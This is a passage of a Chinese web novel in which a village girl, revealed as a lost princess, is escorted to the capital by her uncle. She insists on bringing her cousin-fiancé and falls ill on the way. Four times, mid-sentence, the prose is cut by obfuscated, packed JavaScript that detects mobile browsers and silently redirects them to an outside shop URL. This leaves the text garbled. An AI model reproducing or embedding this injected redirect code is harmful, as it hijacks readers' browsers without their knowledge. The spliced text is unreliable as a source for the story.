山照却依旧不死心,她睁着一双哭红肿的眼,有些哀求:“赵队长,我真的……必须要走吗?” 她不想走,不想离开熟悉的环境,不想离开父母,不想就这么稀里糊涂的跟着走了。 赵仪点头:“殿下,陛下已下圣旨,此事没有回转的余地。” “您的养父母已经得到了嘉奖,绫罗绸缎、田地豪舍,样样不缺。” 赵仪来到炅阳的第一件事情就是带上县令和里正,往李家宣读了圣旨,他不希望山照觉得皇家亏待了李家,一一将他们接受的赏赐说出。 “陛下圣恩浩荡,赏赐李家百两黄金、三百亩田地、二十匹绫罗。” 山照也不说不上好受还是不好受,或许更应该是好受的,爹娘再也不必发愁钱财的事情了。弟弟能够读书,能过上锦衣玉食的生活。 赵仪没有说的是,赏赐中唯独少了最珍贵的恩荫出身。皇帝的态度也很明显,虽然感激他们收养了公主,但此生却不必相见了。 若公主和这乡野人家亲缘未断,那陛下又算什么呢? “我想知道一切,可以吗……” “当然,殿下。臣对您知无不言,言无不尽。”他看山照的眼神几乎要化成水,像看着易碎的珍宝。不,就算是稀世珍宝,也得不到赵仪如此的珍视。 赵仪现在这个身份不便跟山照说太多内幕,他思量片刻:“殿下的母亲是德贞皇后,您是陛下的大女儿,是名正言顺的大公主。” 山照惊讶的张开口:“我是皇后的女儿,那我怎么会走失呢?” “殿下是战时遗失的,当时德贞皇后已经薨逝,陛下孤身在外征战,无暇顾及内院。当时有乱军入城,侍卫们护送殿下离开,却遇到拦截。” “最后,几名侍卫拼死还是将殿下送了出去,却就此没了音信。” 这些事情,赵仪已经熟的不能再熟,他甚至在一遍又一遍的盘问中背下了送山照离开的那些侍卫的名姓。 山照叹口气,也不知道该说什么。她也不能怪生身父母,一个去世了,一个也不是故意弄丢她,就是单纯的心情复杂。 她为着自己的身份,曾经很是在意过一段时间。只是那种在意,太隐晦了,她不能告诉爹娘,爹娘起了善心收养她,他们没错。不能跟叔伯婶娘们说,他们只会叫她孝顺再孝顺一些。 她竟是不能在意这件事情的,所有人都默认,她只能感恩。可是……她也是很失落的,还好,表哥一直在。是那一件出格的事情,表哥也是依了她的。 他不在乎山照是谁的女儿,山照只需要是山照。 她脑海里忽然浮现出方才娘问的那一句,婚事怎么办? “我已经定亲了,我的婚事怎么办?”山照提着心问道。 “殿下,贵贱不婚啊。”赵仪反对,强烈反对。 “可我跟他是自小的情谊……”山照这下确定了,赵队长就是因为婚事对表哥不满。 她心头还有许多未散的情绪,控诉道:“我做公主有什么用?爹娘不能认,亲事也不能随我的意,还不如就留在家里过平淡日子。” 越说越悲愤,眼泪盈满,串珠似的从眼角滑落。 她知道赵队长没有逼迫她,甚至对她尤为客气。 可她看到了他有那么威风的一队人马,他还有皇帝的圣旨,他没有给她选择的机会。 她还不知道皇权是什么,但这份权力已经让她沉重到呼吸困难。她第一次感受到这么深沉的无能为力,只能选择哭泣。 赵仪立在一旁,手足无措。他虽然三十多岁了,但因着年少时发的坟前誓言,真就没有娶亲,未曾哄过女孩。 可他也不可能松口,让山照留下来。可山照越哭越难过,直把屋内的李父赵氏哭了出来。 赵氏本是听不下去出来安慰山照,自己却也难过,抱着山照哭了起来:“我的孩子啊……” 她本想,把山照嫁的近近的,一辈子也不要离了她的眼。 可,上京在哪个方向,她都寻不到啊…… 李父牙关紧咬,没哭,却也是一脸伤感。他不好意思的看向赵仪:“哎,对不住……哎……” 他说不出什么话,只不住的叹气。若是此刻有酒,他能豪饮三杯消愁。他接下圣旨就做好了心理准备,只是他以为这样的伤感会出现在山照出门那日,没想到这么快就控制不住情绪了。 赵仪早打听过这家人对山照极好,不然他的态度可就不是现在这样尊敬了。但关系太好也是个问题,山照这样子明显是极为不舍,眼睛都哭肿了。 “哎,她跟力行那孩子再有两月就要成亲了。真就不成吗?”李父听着两个女人痛哭,纵然心里已经有了答案,还是看向赵仪。 “殿下身份何等贵重,陛下不会应允的。”赵仪摇摇头,脸上适当的露出一点歉意。 “你怎么知道?”山照抬起头,哭红的双眼,眼底燃着一把小火。 赵仪愣了愣,没反应过来山照问的什么意思。 “你怎么知道皇帝,就一定不会同意。戏曲里面不是有陛下被真情感动破格赐婚的情节吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651775|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵仪心想:傻孩子,戏曲怎么能当真。但细一想,他还真不敢说皇帝一定不会应允,他出来前没有告知皇帝这件事情。 即便他百分百的确定昭明帝不会愿意,可他不敢假传圣意,山照若是抓着这点去问皇帝,他也脱不了手。 这一瞬间的迟疑被山照捕捉到了:“所以,这是你猜的,并不是皇帝陛下说了不许。” 赵仪在心底为山照叹了一句,好胆气。 毕竟是他的侄女,赵仪没有步步紧逼,而是以退为进:“殿下若是不信,届时进宫问问陛下,到底许不许。” 但山照比想象中还难缠:“好,我跟你们走。但是我要带上表哥!” 杨氏大惊失色:“山照!你带力行去干嘛?” “成婚!”她坚定开口。 一言似惊雷,打傻了在场众人。 众人还未开口,山照似乎已经预料无人支持她这个想法,但她自有想法:“若是陛下许可,我就跟表哥成婚!若是陛下不许,我要给表哥选一个好妻子!” 杨氏是杨力行嫡亲的姨母,自然也是向着侄儿的,她初听觉得大胆,但又觉得可行。那可是上京,便是婚事不成,叫力行跟着去长长见识也不枉是件好事。劝阻的话,便就这样吞进肚子里。 赵仪又一次被山照的急智打动,即便明知山照多少打着别的想法,但依旧流露出欣赏。 他虽然并不满意山照的无知与天真,但也深知山照不曾拥有良好的教育,如今她的表现皆出于本心。 他想:至少,山照并不是个坏孩子、笨孩子。 更何况,赵仪深深凝视着山照刚毅的神态,不禁感叹:好像姐姐啊,从前姐姐答应陛下的婚事,也是这样坚定的告诉父母:“此刻他确实优秀就够了,以后会不会负我那是日后的事情,我怎能因为日后的事情,放弃当下优秀的选择呢?” 当时陛下不过是个穷酸秀才,姐姐却是才貌出众又身家豪富,不乏举子求娶的。 赵仪今时今地还是不得不感叹姐姐这把是赌对了,只可惜栽下的树是他人在乘凉。 看向山照的眼神更柔和三分,他心想:到底还是小女孩,一朝之间身份骤变,不能接受也是有的。小女孩嘛,依赖熟悉的人也是正常的。 便心软了,只也是心不甘情不愿的:“殿下,此事倒也不是不行。但不如先听听主角的意见呢?”然后招手示意人去叫杨力行进来。 杨力行带着疑惑进门,一眼便注意到了姨母和山照哭红的双眼,心下一沉,有种不详的预感。 山照直接开口:“表哥,你愿意跟我一起进京吗?”心底却一点没有怀疑杨力行会答应下来。 杨力行没有前因后果的被问这么一句,困惑看向表妹,但还是先答应下来。 山照嘴角勾起,有些得意看向赵仪:“赵队长,表哥愿意的。” 杨力行不知道山照在说什么,他带着困惑看向李父赵氏:“姨父、姨母,这事情是真的吗?” 他不敢相信这是真的,可既然都要去上京了,这事便是铁板钉钉了。 李父杨氏沉默点头。 “杨公子,可要叫你知道,这是天大的恩赐。殿下承诺,跟你的婚事不成便要在上京为你寻一门好亲事。上京的贵女,可不是那么好求娶的。” 山照不说,赵仪却不能放弃这个提点他的好机会。 皇威赫赫、权势压人,这个乡下泥腿子会一桩桩一件件的见识到的。 “你该跪下谢恩的。” 他冷眼瞧着站着的青年,这便算教他的第一课了。 5. 第 5 章 山照第一反应就是觉得不行,怎能让表哥跪她呢?天下没有表哥跪表妹的道理,他们还是未婚夫妻,自然也没有夫跪妻的先例。 她开口:“这不妥!” 杨力行眼神一变,他也不蠢,能看出赵仪在故意为难自己。可若真是个陌生公主恩赐,他的确该跪下谢恩的。 他与山照,已有了贵贱之别。 想清楚这点之后,他轻蔑一笑,心想:不就是跪么,他跪过天地、跪过祖宗、跪过官员,他这种人的膝盖本就不值钱。 这人妄想用这种理由阻止他和山照实在是太低估他了。 他跪了,云淡风轻,却掷地有声。 “我不稀罕什么贵女,我只要表妹。”他眼睛像星子一般闪亮,直盯住赵仪,似乎是在说,你还有什么招数? 山照连忙奔到他面前,双手拉着他手臂要他起身,脸上是掩不住的愧疚:“表哥……对不起……” 她带着愤怒看向赵仪:“你不是说我是公主吗?我都没有叫表哥跪,却要你在这发号施令!” 她素来是很少这样发脾气的,但她早已将表哥视为一家人,她不能忽视赵队长对表哥的故意折辱。 赵仪心里惊讶不比其他人少,他到这会才正眼瞧了杨力行。 依他所见,世上男子不拘地位高低,在女人面前终究是要端着架子,不肯轻易示弱的。 若那男子不跪,他此刻也不打算强逼,只到了上京,自然有人教他。 他没预想到山照这名义上的‘未婚夫’就这样干脆跪了,倒显着他蛮不讲理,这确实是自己失策。 赵仪打量着杨力行,他跪的笔直,倒真是一副铁骨铮铮、别无二意的模样。 又瞧山照看他的眼神,似刀子般刮来,赵仪脸上露出几分涩意,这下可真把大侄女得罪了。 赵仪收敛了那股傲慢劲,摇摇头:“殿下,这不是臣故意为难杨公子。而是若真想将杨公子带回上京,那低头和下跪就是再正常不过的事情了……” “君为臣纲,臣子受幸而跪谢是再正常不过的事情。殿下,贵人们可不都有着好脾气……” 山照分辨不出他说的话是不是真的,但他对表哥有敌意是极明显的事情。 “你要是继续这个态度,就不用跟我谈了。反正就你们这种态度,我回去也不会是什么好事。” 山照不能眼看着他们这样对待表哥,否则表哥去了上京更受屈辱。至于之后,她会想办法让皇帝同意的,大不了、大不了就告诉皇帝那一件事情吧…… 反正她跟表哥确实不清白的。 她想起之前杨氏跟她耳提面命所说的,前朝曾有女子溺水被陌生男子相救,但因救援时被那男子摸了臂膀便自戕的。 他们都说女子的清白是第一等要紧的事情,便是身份如何尊贵,总不能凌驾于伦理纲常之上吧。 赵仪见山照确实生气,连忙示弱:“殿下,是臣的不是。臣不提了……” 山照脸色并未好转。 赵仪只得做出一番勉强模样,咬咬牙,撩开袍角单腿跪了下去,同时抽出斜挎着的马鞭,双手捧着高举过头顶:“臣失言,请殿下责罚。” 承恩公多年来除了跪过皇帝,没想到在山照这里膝盖是一软再软,他心里只有无奈。罢了,跪跪小祖宗也不要紧。 山照板着脸不应,杨氏见场面有些难堪,连忙扯扯山照的衣袖。 山照这才不情不愿的说:“算了,也不是什么大事。我不喜欢这么跪来跪去的,你也不要继续针对表哥了。” 赵仪应声答是。 几人这才把话题说到回京这上面来。 杨力行自然是答应的,只是:“表妹,我愿意跟你走,但我要先回家告诉爹娘一声。” 李父杨氏纷纷点头:“对的,要先拜别父母才好出门呀,况且上京那么远。” 山照看向赵仪,这会她心情也平复了些,语气恢复如常:“那赵队长,我们什么时候出发?” “殿下,自然是越快越好。许是殿下不知,臣这一行并未做乔装打扮,有心人是能得知我们的行踪的。” “山高路远,臣等本想做些手段掩人耳目悄悄来迎回殿下。但陛下认为殿下本就流落民间许久,此次回宫必定要热热闹闹、风风光光的。” “也因此,殿下不宜在此地逗留。殿下的事情,很快就会被宣扬出去的,或许会引来一些人的窥-探。” 山照不解:“既然行踪都已经暴露,那回去的早与晚又有何区别呢?” 赵仪极为耐心:“殿下可曾出过远门?” “我去过炅阳县城。” “殿下,我们一路走官道回上京,要历经两座府城、五座县城,若是早些出发,您还能乔装打扮一番出门游玩。可若已经人尽皆知,为了殿下的安全,我们只好全力赶路,殿下可就错过这一路风景了。” 这话实则是骗山照的,炅阳虽离上京有些距离,但却属于陵水府,正是兵力驻扎中枢之地。便是天下初定,前朝余孽未清,也没有那个胆子在此等兵力强盛之地兴风作浪的。 便是再想为山照造些声势,赵仪也不会把山照的安危置于这些上面。 他此番,纯是好心。一进宫门深似海,这不仅说的是宫妃们,也有公主们。 便是出降,另府别居,没有特殊原因公主也休想再离开上京。便是在上京,只要公主仪仗一抬,哪里还能见真正的民生? 山照点头,她既然知道回京已经是不能避免之事,也没有故意拖拖拉拉。 “好,我不为难你们。容我明日再跟爹娘弟弟们吃一顿团圆饭就走。” 李父杨氏也一起点头:“山南、山北都在炅阳做学徒呢,明日就叫他们回来。” 赵仪也没有阻止的理由:“老大人、老夫人告诉衙役们公子们在何处就行。今日炅阳县令也要回城,便把此事办了。” 李父心里还是紧张,但终是磕磕绊绊的告诉了衙役儿子们做学徒的店面位置。 赵仪知道山照需要时间去消化这些消息,很自觉的退下:“殿下,臣和卫队们这几日就驻扎在外面,若有什么吩咐都可以告诉我们。车上的婢女很会做吃食,殿下不若留着她?” 山照其实不想婢女伺-候,但外面都是些男子,她想着在外那女孩各处都不方便,便同意了。 杨力行也要告别回家,山照很是愧疚,她还是为那一跪感到屈辱,但她也不能为此和赵队长撕破脸皮,只能顺着台阶下去。 “表哥,我不是要把你推给别人……”山照怕杨力行将那话听进心里,就此有了隔阂。 尽管一夕之间,身份巨变,她并未有过别的想法。 杨力行心里是忐忑的,山鸡不能配凤凰,农夫也不能配公主。可是,他看着山照,无论如何却说不出放弃的话。 山照没有放弃,他又怎能说自己不配。 “我相信你,表妹。……山照,只要你不说,我不会放弃的。” 杨氏坐在一旁见两人依依不舍,又捏紧衣袖擦泪,李父觉得尴尬:“怎么还在哭嘞,娃都不哭了。” 杨氏瞪他一眼:“你懂什么!山照原该十月出嫁的,现在……现在我是不能看到她出嫁的样子了……” 山照耳尖听着这话:“娘别哭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651776|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我要是成亲一定让你们来观礼。就是不知道到时候爹娘还记不记得我了……” 急得杨氏忘了哭,连忙反驳:“瞎说什么呢,怎么会把你忘了……” “那我今天要跟娘一起睡!” 李父在一旁撇嘴:“大姑娘了,哪有还跟娘睡的!” 一-大一小两个女人一起瞪他,李父便不说话了。 ** 傍晚时分,缇灵卫众人架起火,烤着早就准备好的干粮。 陈於白吃了两口就索然无味:“这不都到地方了吗?买点吃的多好,这胡饼吃几次还好,这都吃多少天了。” 其余人默不作声,虽然这会承恩公在马车里休息,应该是听不到这边声音,不过抱怨两句也不能改变什么。 陈於白是个没吃过苦的公子哥,也就这么抱怨了句。这段时间不仅是吃的差,沿途都在赶路,有些休整时间,承恩公还让他们去打听哪有好吃的好玩的,却又不带他们去放松。 这下吃饱喝足,又没事干,陈於白回过味来,原来这都是为了大公主准备的。 他戳戳旁边盘坐的人:“你说,大公主哪里长的跟承恩公像了?” 旁边的年轻男子淡淡回道:“跟你有什么关系?” “好奇嘛,这又不是什么不能谈的。都说外甥像舅,承恩公是大公主的嫡亲舅舅呢。我倒是看着半点不像……也不是很像陛下……” “还能像谁,先皇后殿下呗。” 陈於白怀疑看他:“你知道先皇后的相貌?不是说满朝几乎无人见过德贞皇后吗?” 于玎看他像看傻子似的:“不像陛下又不像承恩公,那必然就是像先皇后了?你没见承恩公见到大公主的时候手都在发-抖?” “恐怕还不是一点相似,是让承恩公想起先皇后了吧……” 陈於白眼睛睁大:“嗷,有道理有道理。我怎么没想到这茬,你小子看的真细啊。” 于玎翻了个大大的白眼,要不是从小一起长大,他真的不想理陈於白,这脑子太绝了。怪不得陈大人一个三品文官要送儿子来当护卫。 要知道文官清贵,陈於白也不是那等不学无术之徒,十五六岁中过秀才的。若是还有一点能救的希望,绝对不会这么轻易放弃。 柴火烧的噼啪作响,印得众人的脸昏黄模糊,夜晚就在这样静谧的氛围下来临。 山照已经多年不曾跟娘一起睡觉了。自从三四岁,她会自己出恭,爹便不许娘再陪她,而后又是连着两个弟弟降生,山照已经一个人独睡十数年了。 她躺在杨氏身侧,不知怎么有些睡不着。 “娘,你难过吗?我不能陪在你身边了……”山照狠吸了一口气,她差点把自己说哭。 杨氏长叹一口气:“娘不难过。你是去做公主的,从此啊,再也没人给你委屈受了。” 她知道富贵人家的女人都是有仆妇伺-候的,杨氏也释然,山照这是去享福了。她未来想起来这事,也是甜的,不是苦的。 山照何等熟悉杨氏,自然能感受到她压抑的哭意。 顿了许久:“娘,我是你的女儿。我会记着你们的,我会……我会回来看你们的!” 杨氏不报希望,女儿家总是要嫁人的,嫁人了怀孕了生子了,脚便不是女人自己的了。 家不大,却很难走出去了。 “好好好,娘等着你回来。”杨氏侧着身子,像山照还小时,拍着她的身子,唱起哄睡的歌谣:“麻雀头,一路滚,滚到婆家吃水粉……” 山照红着眼圈,闭上眼,忍着不出声。 不知多久,也就真睡着了。 6. 第 6 章 翌日,李山南和李山北匆匆忙忙回到家中的时候,李山照正在喂鸡,她穿着簇新的杏色衣裙,袖口是缠花枝的纹样,这本是杨氏裁来给她婚后做压箱的好衣服。 但早起的时候却被放到了山照床头,杨氏眼神温柔:“穿吧,叫娘再看看你好看的模样。” 山照鼻头一酸,转瞬却笑着点头:“好。” 山照忽听身后一高一低两声呼唤响起:“大姐!”。一回头,是弟弟们回来了。 李山南放下包裹,撸起袖口,极有眼力劲的接过山照手里的鸡蛋。 “大姐,我来吧。今天穿这么好看,就不要做事了……”山南是个勤快性子,向来见不得山照干活。 虽说山照在李家也没干过什么重活,但捡柴做饭这样的事情,是所有农家女孩都要做的。只是每每山南有时间,他都要帮着做。 山照自然不会拒绝,她转身去洗了把手。 李山北没那么好糊弄,追过来:“大姐,为什么是衙役来告诉我们你叫我们回来?还有,为什么突然穿上这件衣服?我见过的,是娘去做的,但不是说给你当嫁妆吗?” 一串问题迎头砸过来,山照却并无不耐烦,她从前觉得小弟聪明却聒噪,但今天她却没有从前那般隐隐的不耐。 她只心想,山北这样追根究底的性格,倒是很适合念书。 “姐~你快告诉我!” 李山北见山照只自顾自的笑,一句话不说,更有些着急。他昨天听到衙役传话后觉都没睡好,总怀疑是不是家里出了事。 山照看小弟急得像转圈的小狗,‘噗嗤’一笑:“倒把你急上了。” “其实是我亲生的……爹,派人来接我了。”她眉眼间并无忧愁,但也没有多少喜悦,这反应让李山北实在摸不着头脑。 “那……这,大姐你是要走吗?” 山照也不知怎么告诉小弟,便含糊道:“你去问爹娘吧。” 李山北没继续纠缠,只奔爹娘屋里去了。 李山南捡完鸡蛋就放到厨房的柜子里,而后去房后砍柴,从进家门那刻起手上就没停过。作为家里的长子,山南比较务实,他有一把子力气,回家第一件事情就是将柴房堆的满满的。 看起来同平常一样,但山照是将两个弟弟一手带大的。山北虽然看起来跳脱一些,但心里不藏事,山南闷不做声的,心里却不知在想什么。 “二弟,你出来。” 山南似乎没听到,继续砍着硬柴,砍得柴垛都吭吭作响。 山照知道他听到了。 “听话,出来。大姐有事跟你说。”若山照还能多呆几天,山南要装懵她也可以纵他几天,但是她明天就要走了…… 该说的话,总该要说的。山照不愿意做那个忽然就消失的人。 “山南,大姐明天就要走了……你真的不理我吗?” 山南丢了斧子,抱着头蹲下来,声音哽咽:“我就知道,没什么好事。”他抬起头,眼睛透红:“大姐,到底发生了什么?” 山照走近,蹲下来摸了摸山南的头发,又将事情的来龙去脉告诉他。 “所以家旁边那些人是来接你的?”山南早就觉得那群人的出现很古怪,但山照说没事,他便没有多琢磨。 山照点头。 两人四目相对,李山南心里有好多话,但这会却说不出口,只是默默流了两滴泪。 山照叹口气,也不继续劝他,留他一个人消化一下情绪,总归要接受的。 一转眼到了午食的时候,李父杨氏坐在上首,左侧是山照,右侧是山南山北。 桌上是三个菜,山笋菌炖鸡、油煸鸡蛋、丝瓜炒肉,颜色鲜亮、香气扑鼻。 都是过年才可能吃上的好菜,但此刻却无人动筷。 全家五口,四个人拉着脸,山照觉得几张相似的脸做着一个表情有点好笑,本想开个玩笑活跃下气氛,这本是她平日做熟的事情。 但不知怎么一点逗趣的事情也想不起来,只干巴巴劝道:“爹娘、二弟小弟,吃吧。待会菜凉了。” 其实饭菜是可口的,但因为大家知道这是最后一餐午饭,心里都沉甸甸的,没人在乎吃的是什么。 “爹娘,你们这样……我也难过。” 山照此刻才明白从前是多么幸福,从前二弟小弟回家煮了肉,全家吃饭其乐融融的,还会互相谦让一番,山照那会只觉得心里暖洋洋的,却不觉得有何稀奇。 人之迟钝,重要的事情只有即将失去或已经失去才会觉得缺失,而后空叹一声当时只道是寻常。 气氛这样冷滞尴尬,山照心中难过,却强忍泪意,怕花了脸。 娘说想见她漂漂亮亮的,她就好一番扑粉着红,漂亮是漂亮的,只是禁不住泪水。 山北终究是忍不住:“大姐,这事果真是没假吗?”虽然爹娘已经千叮咛万嘱咐叫他接受,但他还是不敢相信话本子的剧情出现在自家。 “哪来的骗子能得县令作保呢?”更何况,山照心知若真遇到能请来县令做骗的人物,她也不得不屈从。 所以,思考是真是假,毫无意义。 气氛接着沉默,光线似乎都因这沉默变得昏暗。 山南却想通了,忽然大动起来,夹了两只鸡腿,一只给爹,一只给娘:“少说话,多吃饭。” 他不要大姐的记忆里,最后一顿饭吃的这么难受,这不应该。 爹娘被他这么一捣乱,也只能默默动筷子,气氛倒渐渐融洽起来。 这一餐,到底也还算圆满。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651777|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ** 杨力行家中可就没有这般和谐,他爹娘是千般不愿意万般不同意。 “不过是一个女人……天上的仙女你配不起,但齐头的姑娘大有人在,你别犯痴。”他娘哭得站不住。 他爹气红了脸,甚至拿来扫帚打他。杨力行挨了几棒,不躲也不认错,气得他爹连声叫他逆子! 杨力行对爹娘很是愧疚,他此番确实是大逆不道,但他也不甘心就这样放弃。 他跪别父母,只告诉他们保重身体。 他娘不明白为什么他要如此,可杨力行是知道的,他心里有一个小小的声音一直在提醒他:他得对表妹负责,她可以不要他,但他不能先放弃。 ** 才一出门,山照便病了。 离家第三日时,她就一直隐约不太舒服。加上马车的颠簸,她不仅头晕乏力,严重时甚至不适到呕吐,这几日可把一群人好好折腾了一番。 山照迷迷糊糊醒来,看见的却不是熟悉的身影。是灵曲守着她,她心里瞬间失落。 “表哥,表哥在哪里?”山照声音干哑。 灵曲见殿下终于醒来,连忙倒了一杯茶水给山照喝,却不知道怎么答这句问话。 她只是迟疑一瞬,山照却忍不得:“叫表哥来!” 灵曲也只好老老实实说:“杨公子因擅闯殿下帐篷,被赵队长关起来了。” 山照双眼睁大,喝下的茶水呛了喉,咳嗽不止。 赵仪听见车内有了动静,连忙骑马过来。他隔着车窗听见咳嗽声,便大声问灵曲:“殿下怎样?” 山照却有气无力的叫灵曲:“你叫他进来。” 灵曲面露难色,知道这事没个好,却也只能叫停车马,将赵仪请了进来。 赵仪进门便是铺面而来的一只茶碗,他侧身躲了一下,茶碗砸在车板,‘咵嚓’一声裂成无数残渣。 灵曲看见这架势心头就是一跳,连忙躲到门外,降低存在感。 赵仪不知所以,疑惑看向山照。 山照又急又气:“你是不是把表哥关起来了?” 赵仪这才知道此番发作是为了什么,他觉得自己没错:“殿下,那姓赵的想强闯进来,我只能先关起来。” 山照便是在病中,思维迟钝,可她多么熟悉杨力行,自然不相信他是无缘无故想强闯,怕是听见自己病了,心急想见自己。 “表哥不过是想来看看我!” “殿下,他想见便见么?他已经跟殿下毫无关系了!” “你……”山照气得发-抖,浑身直冒冷汗,不知怎么眼前一黑,就这样失去了知觉。 赵仪这才心慌,连忙奔向外面发号施令:“缇灵卫听令,立即急奔府城,公主晕倒了!” 7. 第 7 章 再次醒来,山照终于在床前看到了自己心心念念的人。 他面有忧色,形容憔悴,直到看到山照醒来,他双眼才猛然蹦出光彩:“表妹……” 山照几乎要喜极而泣:“灵曲说你被关起来了!表哥,你受罪了……” 杨力行只是摇头,苍白的脸上因为心情激动而涌上红润:“我没什么的,只是担心你……” 山照注意到他的手指一直在不住颤-抖,她忍着不适强撑起上身坐了起来,杨力行连忙伸手来扶。 山照却乘机握着杨力行的双手,摊开手掌,却看到他掌心中间被自己指甲掐出的道道红痕,终于是心疼得流下泪。 杨力行心头发酸,坐在床边将山照抱在怀里,他想了想,作势要解开衣服束带,山照却伸手拦住了他:“不,不用。” “表哥,你要好好照顾自己。”山照依旧觉得头晕、浑身无力,知道自己也清醒不了多久。 杨力行只应下但却做不到。无人知道他从旁人口中得知山照晕倒时的痛意,岂止是肝肠寸断,只恨不能以身替之。 他只得低头求了赵仪,只要能见表妹,他愿意的。 “表妹休息会,我去请医师进来。赵队长请了陵水有名的医师来,一定会治好你!” 没过多时杨力行、赵仪就带着两名医师进来了。 两位都是上了年纪的老医师,也不知赵仪怎么把人请过来的,总之两位面上神情并不算很好。 只是医者仁心,等看到山照病歪歪的模样,两人还是耐着性子依次上来把了脉。 随后互相交换了个眼神,而后悄声细语的讨论了几句,山照隐约听到只言片语,似乎是两人在讨论病情。 “两位老大人,我家小姐的病情究竟如何呀?”赵仪开口。 年纪更长的那位开口:“小姐这病一来是因舟车劳顿,二来是因心情郁郁才导致的肝郁脾虚、外感湿邪,倒也好治。我开两剂疏肝解郁、健脾化湿的药就好。” 两位医师出门去开药了,赵仪跟着出去,又问了遍:“我家小姐何时能好?” 两位老医师又是对视一眼,才叹口气:“心病还须心药医,小姐这病非外邪所致。只需开怀些,不药而愈也是有的。” 赵仪闻言一愣,他知有人因心情不郁致病,但却不知山照心情有如此不好,才病情连绵。 他吩咐房间外的陈於白送了两位老医师回去,返回山照的卧室。 山照本没精神见他,她这会只想跟表哥静静呆一会。但又想着毕竟医师是他请来的终是请他进来。 “你出去吧。”赵仪开口便是叫杨力行,山照神色一变,已经压下的怒气又腾得燃起来。这人,是奔着吵架来的吧?! “表哥,不许走!” 赵仪被驳了面子,脸上有些挂不住:“殿下,臣有正事汇报,不便有旁人!” “赵队长,你口口声声说什么尊卑礼法,可还记得你不过是护卫。难道不是我说表哥能听,他就能听吗?” “还是说,我名义上是主,实则做主的还是赵队长?” 这是诛心之言,赵仪这才意识到,山照心中杨力行的分量是极重的,重到她能与自己翻脸。 到底是自己的侄女,赵仪心里虽然已经是七个不服八个不耐,但还是忍了下来:“臣绝无这个意思,只是国有国法、家有家规,便是殿下行事也要按着规矩来,有些事情确实不该杨公子知晓。” “说到底,还是要听你的。我算个什么公主?”山照是故意拿话激他。人在生病的时候,情绪控制力总是会下降一些的。山照现在就是没有许多耐心,再跟他慢慢周旋了。 她一直怀疑,赵队长对她的这种过度干预不仅仅是执行公务这么简单…… 就比如拿侍女灵曲来说,她虽也会提醒自己礼仪不妥的地方,但只要自己坚持,她便不会再说第二句话,其他侍卫也是从来顺从。 只有这个赵队长,千方百计的阻挠她和表哥,一个护送她回宫的侍卫有必要管这么多吗? 赵仪被呛住,但依旧不愿松口:“臣只是劝诫……” 杨力行在一旁听着他们为自己争吵,觉得这样不利于山照恢复身体,要知道生气是极为消耗精气的。他俯身跟山照耳语:“我就在门外待一待,表妹你听听他到底要说什么吧?” “放心,我一直在。” 山照这才不情不愿的同意了。 然而赵仪其实并无什么要事,他跟山照汇报了几句接下来的行程安排还有山照病情,就没话说了。 山照冷哼一声:“赵队长,这就是你说的‘要事’?”。 “殿下,您的病情确实是要事。您的身体恐怕不能支撑长途跋涉,因此臣建议每到城池附近便原地修整几天,也好为殿下求医问药。” 山照唇色苍白,一幅病弱模样,说出的话却让赵仪眉心一跳:“那我觉得,与其这样病歪歪的养病耽误时间,不如一路急行,而后回京修养吧。”她就是要跟他对着干一下。 “殿下,臣不能冒这个风险。”赵仪觉得有些头疼,这般跟人温言细语的说话真的很费劲。 “我的身体我清楚,其实没有大事,可能只是水土不服。” 赵仪:“……” 他暗叹一口气,终于理解在外呼风唤雨的各路朝中大臣是如何被小辈折磨的。 打也打不得,说又说不服,真是太难了。 “不如折中一下,平时赶路也就罢了,聘一个医师随行,然后在路过城池的时候停留一两天购置点药物和吃食。” 山照摇头,甚至是有些无理取闹了:“我就想快点上路。” 赵仪还想再挣扎一下:“殿下……”他真的是没招了,他知道这是山照在发脾气折磨他。 山照气急而笑:“赵队长,你看看旁人的事情我决定不了,我自己的事情不也一样做不了主!” 赵仪一时间不知道怎么回,他急得后背都发热出汗了,只他不是薄脸皮,便是再急也不会红脸。 “自然是听殿下的,只是殿下千万不要因为赌气而糟践身体啊!”赵仪几乎是小心翼翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 